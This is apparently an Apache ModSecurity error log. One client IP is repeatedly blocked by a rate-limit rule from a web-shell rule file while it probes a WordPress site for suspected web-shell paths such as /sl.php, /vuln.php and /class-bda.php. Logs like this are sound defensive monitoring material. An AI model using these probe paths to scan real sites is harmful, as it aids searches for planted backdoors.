[Thu Apr 23 23:39:40.029798 2026] [:error] [pid 42972:tid 43029] [client 74.234.74.247:9397] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "aeo9PMOAb-3sOknsk4duagAAAE0"]
[Thu Apr 23 23:39:41.964054 2026] [:error] [pid 42972:tid 43027] [client 74.234.74.247:9370] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "aeo9PcOAb-3sOknsk4dubwAAAEs"]
[Thu Apr 23 23:39:43.511640 2026] [:error] [pid 42972:tid 43016] [client 74.234.74.247:9446] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "aeo9P8OAb-3sOknsk4dudgAAAEA"]
[Thu Apr 23 23:39:44.952186 2026] [:error] [pid 64998:tid 65017] [client 74.234.74.247:9377] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sl.php"] [unique_id "aeo9QIV5EysYcTLjmwi_dgAAAc8"]
[Thu Apr 23 23:39:45.521069 2026] [:error] [pid 64998:tid 65016] [client 74.234.74.247:9447] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "aeo9QYV5EysYcTLjmwi_egAAAc4"]
[Thu Apr 23 23:39:46.087272 2026] [:error] [pid 42972:tid 43035] [client 74.234.74.247:9366] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "aeo9QsOAb-3sOknsk4dufQAAAFM"]
[Thu Apr 23 23:39:46.642088 2026] [:error] [pid 25635:tid 25646] [client 74.234.74.247:9427] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "aeo9QsRxv6UsgRGKB3I_1AAAAQc"]
[Thu Apr 23 23:39:47.325714 2026] [:error] [pid 64998:tid 65022] [client 74.234.74.247:9453] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sw.php"] [unique_id "aeo9Q4V5EysYcTLjmwi_fgAAAdQ"]
[Thu Apr 23 23:39:47.872269 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:9404] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "aeo9Q4V5EysYcTLjmwi_gAAAAcY"]
[Thu Apr 23 23:39:48.393811 2026] [:error] [pid 65000:tid 65056] [client 74.234.74.247:9458] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "aeo9RL6vRb9j6psK2ZbhZAAAAhc"]
[Thu Apr 23 23:39:48.924363 2026] [:error] [pid 42972:tid 43025] [client 74.234.74.247:9433] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "aeo9RMOAb-3sOknsk4dufwAAAEk"]
[Thu Apr 23 23:39:50.462638 2026] [:error] [pid 42972:tid 43035] [client 74.234.74.247:9373] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/vuln.php"] [unique_id "aeo9RsOAb-3sOknsk4dugwAAAFM"]
[Thu Apr 23 23:39:51.023032 2026] [:error] [pid 42973:tid 43067] [client 74.234.74.247:9385] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "aeo9R26I0QqmmmLTHE1DUQAAAJg"]
[Thu Apr 23 23:39:51.557592 2026] [:error] [pid 25635:tid 25650] [client 74.234.74.247:9350] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "aeo9R8Rxv6UsgRGKB3I_6QAAAQs"]
[Thu Apr 23 23:39:52.111836 2026] [:error] [pid 42971:tid 43002] [client 74.234.74.247:9436] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "aeo9SDEP2_5RswrH8bE6xAAAABA"]
[Thu Apr 23 23:39:52.723370 2026] [:error] [pid 42972:tid 43022] [client 74.234.74.247:9410] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-temp.php"] [unique_id "aeo9SMOAb-3sOknsk4duhAAAAEY"]
[Thu Apr 23 23:39:53.284622 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:9363] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aeo9Sb6vRb9j6psK2ZbhawAAAgM"]
[Thu Apr 23 23:39:53.806037 2026] [:error] [pid 65000:tid 65044] [client 74.234.74.247:9471] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aeo9Sb6vRb9j6psK2ZbhbAAAAgs"]
[Thu Apr 23 23:39:54.372181 2026] [:error] [pid 59700:tid 59703] [client 74.234.74.247:9357] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aeo9SpXyGZJFeAIDWtlF4gAAAUE"]
[Thu Apr 23 23:39:54.918646 2026] [:error] [pid 46953:tid 46964] [client 74.234.74.247:9408] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sxdfrt.php"] [unique_id "aeo9SknlpdHh-P6wKbpSxgAAAkg"]
[Thu Apr 23 23:39:55.466568 2026] [:error] [pid 25635:tid 25661] [client 74.234.74.247:9383] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeo9S8Rxv6UsgRGKB3I_-QAAARY"]
[Thu Apr 23 23:39:56.029279 2026] [:error] [pid 65000:tid 65054] [client 74.234.74.247:9457] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeo9TL6vRb9j6psK2ZbhdAAAAhU"]
[Thu Apr 23 23:39:56.581841 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:9368] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeo9TL6vRb9j6psK2ZbhewAAAgE"]
[Thu Apr 23 23:39:58.158069 2026] [:error] [pid 59700:tid 59719] [client 74.234.74.247:4063] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeo9TpXyGZJFeAIDWtlF5AAAAVE"]
[Thu Apr 23 23:39:58.733961 2026] [:error] [pid 59700:tid 59707] [client 74.234.74.247:4075] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeo9TpXyGZJFeAIDWtlF5wAAAUU"]
[Thu Apr 23 23:39:59.870784 2026] [:error] [pid 64998:tid 65002] [client 74.234.74.247:4045] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeo9T4V5EysYcTLjmwi_jgAAAcA"]
[Thu Apr 23 23:40:00.404936 2026] [:error] [pid 65000:tid 65040] [client 74.234.74.247:3977] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeo9UL6vRb9j6psK2ZbhjgAAAgc"]
[Thu Apr 23 23:40:00.944212 2026] [:error] [pid 65000:tid 65057] [client 74.234.74.247:9409] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeo9UL6vRb9j6psK2ZbhkwAAAhg"]
[Thu Apr 23 23:40:01.493775 2026] [:error] [pid 64998:tid 65021] [client 74.234.74.247:9382] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "aeo9UYV5EysYcTLjmwi_kwAAAdM"]
[Thu Apr 23 23:40:04.371590 2026] [:error] [pid 65000:tid 65048] [client 74.234.74.247:9465] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "aeo9VL6vRb9j6psK2ZbhnAAAAg8"]
[Thu Apr 23 23:40:04.874972 2026] [:error] [pid 64998:tid 65022] [client 74.234.74.247:9450] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "aeo9VIV5EysYcTLjmwi_mAAAAdQ"]
[Thu Apr 23 23:40:05.403478 2026] [:error] [pid 65000:tid 65053] [client 74.234.74.247:9351] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class-bda.php"] [unique_id "aeo9Vb6vRb9j6psK2ZbhnwAAAhQ"]
[Thu Apr 23 23:40:05.940884 2026] [:error] [pid 65000:tid 65040] [client 74.234.74.247:9444] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bhm.php"] [unique_id "aeo9Vb6vRb9j6psK2ZbhogAAAgc"]
[Thu Apr 23 23:40:06.479882 2026] [:error] [pid 42972:tid 43036] [client 74.234.74.247:4077] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bhm.php"] [unique_id "aeo9VsOAb-3sOknsk4dujAAAAFQ"]
[Thu Apr 23 23:40:07.134807 2026] [:error] [pid 65000:tid 65057] [client 74.234.74.247:9346] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bhm.php"] [unique_id "aeo9V76vRb9j6psK2ZbhpgAAAhg"]
[Thu Apr 23 23:40:07.707167 2026] [:error] [pid 65000:tid 65044] [client 74.234.74.247:9419] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bhm.php"] [unique_id "aeo9V76vRb9j6psK2ZbhpwAAAgs"]
[Thu Apr 23 23:40:08.254576 2026] [:error] [pid 42972:tid 43030] [client 74.234.74.247:9445] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmu.php"] [unique_id "aeo9WMOAb-3sOknsk4dukgAAAE4"]
[Thu Apr 23 23:40:08.806739 2026] [:error] [pid 42973:tid 43061] [client 74.234.74.247:9361] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmu.php"] [unique_id "aeo9WG6I0QqmmmLTHE1DXgAAAJI"]
[Thu Apr 23 23:40:09.460454 2026] [:error] [pid 64998:tid 65021] [client 74.234.74.247:9380] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmu.php"] [unique_id "aeo9WYV5EysYcTLjmwi_ogAAAdM"]
[Thu Apr 23 23:40:09.977164 2026] [:error] [pid 65000:tid 65041] [client 74.234.74.247:4034] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xmu.php"] [unique_id "aeo9Wb6vRb9j6psK2ZbhqgAAAgg"]
[Thu Apr 23 23:40:10.514806 2026] [:error] [pid 64998:tid 65013] [client 74.234.74.247:9379] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ref.php"] [unique_id "aeo9WoV5EysYcTLjmwi_pQAAAcs"]
[Thu Apr 23 23:40:11.053899 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:4033] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ref.php"] [unique_id "aeo9W76vRb9j6psK2ZbhrwAAAhE"]
[Thu Apr 23 23:40:11.580758 2026] [:error] [pid 65000:tid 65040] [client 74.234.74.247:9462] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ref.php"] [unique_id "aeo9W76vRb9j6psK2ZbhsQAAAgc"]
[Thu Apr 23 23:40:13.152192 2026] [:error] [pid 64998:tid 65023] [client 74.234.74.247:9355] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ref.php"] [unique_id "aeo9XYV5EysYcTLjmwi_uQAAAdU"]
[Thu Apr 23 23:40:25.436748 2026] [:error] [pid 25635:tid 25642] [client 74.234.74.247:9452] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aeo9acRxv6UsgRGKB3JAFQAAAQM"]
[Thu Apr 23 23:40:26.071482 2026] [:error] [pid 65000:tid 65056] [client 74.234.74.247:9470] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aeo9ar6vRb9j6psK2Zbh9QAAAhc"]
[Thu Apr 23 23:40:26.621885 2026] [:error] [pid 64967:tid 64983] [client 74.234.74.247:9381] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aeo9aoAV4GfOOdX8QzqE9AAAAY4"]
[Thu Apr 23 23:40:27.131459 2026] [:error] [pid 64998:tid 65026] [client 74.234.74.247:9354] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/puc.php"] [unique_id "aeo9a4V5EysYcTLjmwi_5gAAAdg"]
[Thu Apr 23 23:40:27.675652 2026] [:error] [pid 64998:tid 65023] [client 74.234.74.247:4067] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeo9a4V5EysYcTLjmwi_6AAAAdU"]
[Thu Apr 23 23:40:28.228410 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:3985] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeo9bL6vRb9j6psK2ZbiAAAAAhA"]
[Thu Apr 23 23:40:28.790864 2026] [:error] [pid 65000:tid 65047] [client 74.234.74.247:9388] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeo9bL6vRb9j6psK2ZbiAwAAAg4"]
[Thu Apr 23 23:40:29.957841 2026] [:error] [pid 43083:tid 43104] [client 74.234.74.247:9349] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aeo9bTC5hrvNXosL83KNFgAAANM"]
[Thu Apr 23 23:40:30.519858 2026] [:error] [pid 46953:tid 46967] [client 74.234.74.247:9420] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aeo9bknlpdHh-P6wKbpS8QAAAks"]
[Thu Apr 23 23:40:31.120904 2026] [:error] [pid 46953:tid 46962] [client 74.234.74.247:9384] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aeo9b0nlpdHh-P6wKbpS9AAAAkY"]
[Thu Apr 23 23:40:31.703439 2026] [:error] [pid 42972:tid 43038] [client 74.234.74.247:4039] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ewp.php"] [unique_id "aeo9b8OAb-3sOknsk4durAAAAFY"]
